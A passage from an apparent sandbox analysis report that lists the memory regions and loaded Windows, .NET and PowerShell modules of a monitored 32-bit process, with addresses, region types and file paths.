0x4740000 end_va = 0x4740fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004740000" filename = "" Region: id = 475 start_va = 0x74da0000 end_va = 0x74de3fff entry_point = 0x74da0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 476 start_va = 0x75180000 end_va = 0x7518efff entry_point = 0x75180000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 477 start_va = 0x76790000 end_va = 0x76c6cfff entry_point = 0x76790000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 478 start_va = 0x77260000 end_va = 0x772a3fff entry_point = 0x77260000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 479 start_va = 0x77300000 end_va = 0x7738cfff entry_point = 0x77300000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 480 start_va = 0x75310000 end_va = 0x766cefff entry_point = 0x75310000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 481 start_va = 0x74570000 end_va = 0x74588fff entry_point = 0x74570000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 482 start_va = 0x5cf0000 end_va = 0x5cf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005cf0000" filename = "" Region: id = 483 start_va = 0x5ef0000 end_va = 0x6226fff entry_point = 0x5ef0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 484 start_va = 0x74420000 end_va = 0x74561fff entry_point = 0x74420000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 485 start_va = 0x5d00000 end_va = 0x5d03fff entry_point = 0x5d00000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 486 start_va = 0x5d10000 end_va = 0x5d22fff entry_point = 0x5d10000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001c.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001c.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001c.db") Region: id = 487 start_va = 0x5d30000 end_va = 0x5d30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d30000" filename = "" Region: id = 488 start_va = 0x5d40000 end_va = 0x5d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000005d40000" filename = "" Region: id = 489 start_va = 0x5d80000 end_va = 0x5dbffff entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 490 start_va = 0x5dc0000 end_va = 0x5ddbfff entry_point = 0x5dc0000 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000003b.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000003b.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000003b.db") Region: id = 491 start_va = 0x743c0000 end_va = 0x74410fff entry_point = 0x743c0000 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\SysWOW64\\BCP47Langs.dll" (normalized: "c:\\windows\\syswow64\\bcp47langs.dll") Region: id = 492 start_va = 0x7fa9d000 end_va = 0x7fa9ffff entry_point = 0x0 region_type = private name = "private_0x000000007fa9d000" filename = "" Region: id = 493 start_va = 0x77080000 end_va = 0x770b5fff entry_point = 0x77080000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 494 start_va = 0x5dc0000 end_va = 0x5dfffff entry_point = 0x0 region_type = private name = "private_0x0000000005dc0000" filename = "" Region: id = 495 start_va = 0x5e00000 end_va = 0x5e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 496 start_va = 0x743b0000 end_va = 0x743bafff entry_point = 0x743b0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll") Region: id = 497 start_va = 0x7fa9a000 end_va = 0x7fa9cfff entry_point = 0x0 region_type = private name = "private_0x000000007fa9a000" filename = "" Region: id = 498 start_va = 0x74370000 end_va = 0x7438afff entry_point = 0x74370000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 499 start_va = 0x74390000 end_va = 0x743a2fff entry_point = 0x74390000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 500 start_va = 0x74340000 end_va = 0x7436efff entry_point = 0x74340000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 501 start_va = 0x5d00000 end_va = 0x5d03fff entry_point = 0x5d00000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 502 start_va = 0x5e40000 end_va = 0x5e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 503 start_va = 0x5e80000 end_va = 0x5ebffff entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 504 start_va = 0x5ed0000 end_va = 0x5ed3fff entry_point = 0x5ed0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 505 start_va = 0x6230000 end_va = 0x6272fff entry_point = 0x6230000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000013.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000013.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000013.db") Region: id = 506 start_va = 0x6280000 end_va = 0x630afff entry_point = 0x6280000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 507 start_va = 0x74270000 end_va = 0x74336fff entry_point = 0x74270000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll") Region: id = 508 start_va = 0x7fa97000 end_va = 0x7fa99fff entry_point = 0x0 region_type = private name = "private_0x000000007fa97000" filename = "" Region: id = 509 start_va = 0x74250000 end_va = 0x7426bfff entry_point = 0x74250000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 510 start_va = 0x74240000 end_va = 0x7424efff entry_point = 0x74240000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 511 start_va = 0x6310000 end_va = 0x6313fff entry_point = 0x0 region_type = private name = "private_0x0000000006310000" filename = "" Region: id = 512 start_va = 0x74210000 end_va = 0x74237fff entry_point = 0x74210000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 513 start_va = 0x74190000 end_va = 0x74207fff entry_point = 0x74190000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 514 start_va = 0x74180000 end_va = 0x74187fff entry_point = 0x74180000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 515 start_va = 0x739d0000 end_va = 0x73ac4fff entry_point = 0x739d0000 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 516 start_va = 0x73ad0000 end_va = 0x74177fff entry_point = 0x73ad0000 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 517 start_va = 0x4730000 end_va = 0x4730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004730000" filename = "" Region: id = 518 start_va = 0x6320000 end_va = 0x632ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006320000" filename = "" Region: id = 519 start_va = 0x6330000 end_va = 0x633ffff entry_point = 0x0 region_type = private name = "private_0x0000000006330000" filename = "" Region: id = 520 start_va = 0x6340000 end_va = 0x634ffff entry_point = 0x0 region_type = private name = "private_0x0000000006340000" filename = "" Region: id = 521 start_va = 0x6350000 end_va = 0x635ffff entry_point = 0x0 region_type = private name = "private_0x0000000006350000" filename = "" Region: id = 522 start_va = 0x6360000 end_va = 0x636ffff entry_point = 0x0 region_type = private name = "private_0x0000000006360000" filename = "" Region: id = 523 start_va = 0x6370000 end_va = 0x637ffff entry_point = 0x0 region_type = private name = "private_0x0000000006370000" filename = "" Region: id = 524 start_va = 0x6380000 end_va = 0x6380fff entry_point = 0x0 region_type = private name = "private_0x0000000006380000" filename = "" Region: id = 525 start_va = 0x6390000 end_va = 0x6390fff entry_point = 0x0 region_type = private name = "private_0x0000000006390000" filename = "" Region: id = 526 start_va = 0x63a0000 end_va = 0x63dffff entry_point = 0x0 region_type = private name = "private_0x00000000063a0000" filename = "" Region: id = 527 start_va = 0x63e0000 end_va = 0x63fffff entry_point = 0x0 region_type = private name = "private_0x00000000063e0000" filename = "" Region: id = 528 start_va = 0x6400000 end_va = 0x640ffff entry_point = 0x0 region_type = private name = "private_0x0000000006400000" filename = "" Region: id = 529 start_va = 0x6410000 end_va = 0x644ffff entry_point = 0x0 region_type = private name = "private_0x0000000006410000" filename = "" Region: id = 530 start_va = 0x6450000 end_va = 0x648ffff entry_point = 0x0 region_type = private name = "private_0x0000000006450000" filename = "" Region: id = 531 start_va = 0x64a0000 end_va = 0x64affff entry_point = 0x0 region_type = private name = "private_0x00000000064a0000" filename = "" Region: id = 532 start_va = 0x64b0000 end_va = 0x84affff entry_point = 0x0 region_type = private name = "private_0x00000000064b0000" filename = "" Region: id = 533 start_va = 0x84b0000 end_va = 0x84effff entry_point = 0x0 region_type = private name = "private_0x00000000084b0000" filename = "" Region: id = 534 start_va = 0x727a0000 end_va = 0x739cafff entry_point = 0x727a0000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b957e2761f39c847be8972eb3cccfc50\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b957e2761f39c847be8972eb3cccfc50\\mscorlib.ni.dll") Region: id = 535 start_va = 0x7fa91000 end_va = 0x7fa93fff entry_point = 0x0 region_type = private name = "private_0x000000007fa91000" filename = "" Region: id = 536 start_va = 0x7fa94000 end_va = 0x7fa96fff entry_point = 0x0 region_type = private name = "private_0x000000007fa94000" filename = "" Region: id = 537 start_va = 0x6490000 end_va = 0x649ffff entry_point = 0x0 region_type = private name = "private_0x0000000006490000" filename = "" Region: id = 538 start_va = 0x85e0000 end_va = 0x85effff entry_point = 0x0 region_type = private name = "private_0x00000000085e0000" filename = "" Region: id = 539 start_va = 0x71640000 end_va = 0x716cafff entry_point = 0x71640000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\cb27ca27413730771773cdf3605d31cd\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\cb27ca27413730771773cdf3605d31cd\\microsoft.powershell.consolehost.ni.dll") Region: id = 540 start_va = 0x716d0000 end_va = 0x71de2fff entry_point = 0x716d0000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\112ea6c1fad3a35689011750e709399a\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\112ea6c1fad3a35689011750e709399a\\system.core.ni.dll") Region: id = 541 start_va = 0x71df0000 end_va = 0x7279cfff entry_point = 0x71df0000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\5f1446a71be2a15498bce902bc345747\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\5f1446a71be2a15498bce902bc345747\\system.ni.dll") Region: id = 542 start_va = 0x6fe50000 end_va = 0x7163efff entry_point = 0x6fe50000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\6ac5dffaddb9b8b791df488c826e14b4\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\6ac5dffaddb9b8b791df488c826e14b4\\system.management.automation.ni.dll") Region: id = 543 start_va = 0x84f0000 end_va = 0x8551fff entry_point = 0x84f0000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 544 start_va = 0x8560000 end_va = 0x8564fff entry_point = 0x8560000 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll") Region: id = 545 start_va = 0x8570000 end_va = 0x857ffff entry_point = 0x8570000 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui") Region: id = 546 start_va = 0x74d90000 end_va = 0x74d95fff entry_point = 0x74d90000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 547 start_va = 0x85f0000 end_va = 0x86effff entry_point = 0x0 region_type = private name = "private_0x00000000085f0000" filename = "" Region: id = 548 start_va = 0x8580000 end_va = 0x858ffff entry_point = 0x0 region_type = private name = "private_0x0000000008580000" filename = "" Region: id = 549 start_va = 0x8590000 end_va = 0x859ffff entry_point = 0x0 region_type = private name = "private_0x0000000008590000" filename = "" Region: id = 550 start_va = 0x85b0000 end_va = 0x85d1fff entry_point = 0x85b0000 region_type = mapped_file name = "system.numerics.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Numerics\\v4.0_4.0.0.0__b77a5c561934e089\\System.Numerics.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.numerics\\v4.0_4.0.0.0__b77a5c561934e089\\system.numerics.dll") Region: id = 551 start_va = 0x6fdd0000 end_va = 0x6fe4cfff entry_point = 0x6fdd0000 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 552 start_va = 0x85a0000 end_va = 0x85affff entry_point = 0x0 region_type = private name = "private_0x00000000085a0000" filename = "" Region: id = 553 start_va = 0x86f0000 end_va = 0x86fffff entry_point = 0x0 region_type = private name = "private_0x00000000086f0000" filename = "" Region: id = 554 start_va = 0x8700000 end_va = 0x870ffff entry_point = 0x0 region_type = private name = "private_0x0000000008700000" filename = "" Region: id = 555 start_va = 0x8710000 end_va = 0x871ffff entry_point = 0x0 region_type = private name = "private_0x0000000008710000" filename = "" Region: id = 556 start_va = 0x8720000 end_va = 0x872ffff entry_point = 0x0 region_type = private name = "private_0x0000000008720000" filename = "" Region: id = 557 start_va = 0x8730000 end_va = 0x873ffff entry_point = 0x0 region_type = private name = "private_0x0000000008730000" filename = "" Region: id = 558 start_va = 0x8740000 end_va = 0x874ffff entry_point = 0x0 region_type = private name = "private_0x0000000008740000" filename = "" Region: id = 559 start_va = 0x8750000 end_va = 0x875ffff entry_point = 0x0 region_type = private name = "private_0x0000000008750000" filename = "" Region: id = 560 start_va = 0x8760000 end_va = 0x87c5fff entry_point = 0x8760000 region_type = mapped_file name = "system.directoryservices.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.directoryservices.dll") Region: id = 561 start_va = 0x87d0000 end_va = 0x8833fff entry_point = 0x87d0000 region_type = mapped_file name = "system.management.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Management.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.management.dll") Region: id = 562 start_va = 0x8840000 end_va = 0x884ffff entry_point = 0x0 region_type = private name = "private_0x0000000008840000" filename = "" Region: id = 563 start_va = 0x8850000 end_va = 0x885ffff entry_point = 0x0 region_type = private name = "private_0x0000000008850000" filename = "" Region: id = 564 start_va = 0x8860000 end_va = 0x886ffff entry_point = 0x0 region_type = private name = "private_0x0000000008860000" filename = "" Region: id = 565 start_va = 0x8870000 end_va = 0x887ffff entry_point = 0x0 region_type = private name = "private_0x0000000008870000" filename = "" Region: id = 566 start_va = 0x8880000 end_va = 0x888ffff entry_point = 0x0 region_type = private name = "private_0x0000000008880000" filename = "" Region: id = 567 start_va = 0x8890000 end_va = 0x889ffff entry_point = 0x0 region_type = private name = "private_0x0000000008890000" filename = "" Region: id = 568 start_va = 0x88b0000 end_va = 0x88c9fff entry_point = 0x88b0000 region_type = mapped_file name = "system.configuration.install.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration.install\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.configuration.install.dll") Region: id = 569 start_va = 0x88d0000 end_va = 0x8916fff entry_point = 0x88d0000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 570 start_va = 0x6f5e0000 end_va = 0x6f626fff entry_point = 0x6f5e0000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 571 start_va = 0x6f630000 end_va = 0x6f6a9fff entry_point = 0x6f630000 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\a47c981870614be22d05255283672b7e\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\a47c981870614be22d05255283672b7e\\microsoft.management.infrastructure.ni.dll") Region: id = 572 start_va = 0x6f6b0000 end_va = 0x6fdc5fff entry_point = 0x6f6b0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\cbe2ab769c1ad7c26220d27a16ce6db9\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\cbe2ab769c1ad7c26220d27a16ce6db9\\system.xml.ni.dll") Region: id = 573 start_va = 0x88a0000 end_va = 0x88a2fff entry_point = 0x88a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 574 start_va = 0x8920000 end_va = 0x89fefff entry_point = 0x8920000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 575 start_va = 0x8a00000 end_va = 0x8a08fff entry_point = 0x8a00000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 576 start_va = 0x88a0000 end_va = 0x88a2fff entry_point = 0x88a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 577 start_va = 0x8a00000 end_va = 0x8a08fff entry_point = 0x8a00000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 578 start_va = 0x88a0000 end_va = 0x88a0fff entry_point = 0x88a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 579 start_va = 0x88a0000 end_va = 0x88a8fff entry_point = 0x88a0000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 580 start_va = 0x88a0000 end_va = 0x88a0fff entry_point = 0x88a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 581 start_va = 0x88a0000 end_va = 0x88a8fff entry_point = 0x88a0000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 582 start_va = 0x88a0000 end_va = 0x88a0fff entry_point = 0x88a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 583 start_va = 0x88a0000 end_va = 0x88a8fff entry_point = 0x88a0000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 584 start_va = 0x88a0000 end_va = 0x88affff entry_point = 0x0 region_type = private name = "private_0x00000000088a0000" filename = "" Region: id = 585 start_va = 0x8a00000 end_va = 0x8a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000008a00000" filename = "" Region: id = 586 start_va = 0x8a40000 end_va = 0x8a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000008a40000" filename = "" Region: id = 587 start_va = 0x8a80000 end_va = 0x8abffff entry_point = 0x0 region_type = private name = "private_0x0000000008a80000" filename = "" Region: id = 588 start_va = 0x8ac0000 end_va = 0x8afffff entry_point = 0x0 region_type = private name = "private_0x0000000008ac0000" filename = "" Region: id = 589 start_va = 0x6f580000 end_va = 0x6f589fff entry_point = 0x6f580000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 590 start_va = 0x6f590000 end_va = 0x6f5dffff entry_point = 0x6f590000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\e169d5934f50bc53cf60b2a086dc2149\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\e169d5934f50bc53cf60b2a086dc2149\\microsoft.powershell.security.ni.dll") Region: id = 591 start_va = 0x7fa8b000 end_va = 0x7fa8dfff entry_point = 0x0 region_type = private name = "private_0x000000007fa8b000" filename = "" Region: id = 592 start_va = 0x7fa8e000 end_va = 0x7fa90fff entry_point = 0x0 region_type = private name = "private_0x000000007fa8e000" filename = "" Region: id = 593 start_va = 0x8b00000 end_va = 0x8b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000008b00000" filename = "" Region: id = 594 start_va = 0x8b10000 end_va = 0x8b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000008b10000" filename = "" Region: id = 595 start_va = 0x6f570000 end_va = 0x6f57cfff entry_point = 0x6f570000 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\SysWOW64\\wldp.dll" (normalized: "c:\\windows\\syswow64\\wldp.dll") Region: id = 596 start_va = 0x74880000 end_va = 0x749f4fff entry_point = 0x74880000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 597 start_va = 0x74ce0000 end_va = 0x74d21fff entry_point = 0x74ce0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 598 start_va = 0x77070000 end_va = 0x7707dfff entry_point = 0x77070000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 599 start_va = 0x8b90000 end_va = 0x8c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000008b90000" filename = "" Region: id = 600 start_va = 0x8c90000 end_va = 0x8ccffff entry_point = 0x0 region_type = private name = "private_0x0000000008c90000" filename = "" Region: id = 601 start_va = 0x8cd0000 end_va = 0x8d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000008cd0000" filename = "" Region: id = 602 start_va = 0x8d10000 end_va = 0x8d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000008d10000" filename = "" Region: id = 603 start_va = 0x7fa88000 end_va = 0x7fa8afff entry_point = 0x0 region_type = private name = "private_0x000000007fa88000" filename = "" Region: id = 604 start_va = 0x8d20000 end_va = 0x8d30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008d20000" filename = "" Region: id = 605 start_va = 0x8d40000 end_va = 0x8d76fff entry_point = 0x8d40000 region_type = mapped_file name = "types.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml") Region: id = 606 start_va = 0x8d40000 end_va = 0x8d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000008d40000" filename = "" Region: id = 607 start_va = 0x8d80000 end_va = 0x8dbffff entry_point = 0x0 region_type = private name = "private_0x0000000008d80000" filename = "" Region: id = 608 start_va = 0x7fa85000 end_va = 0x7fa87fff entry_point = 0x0 region_type = private name = 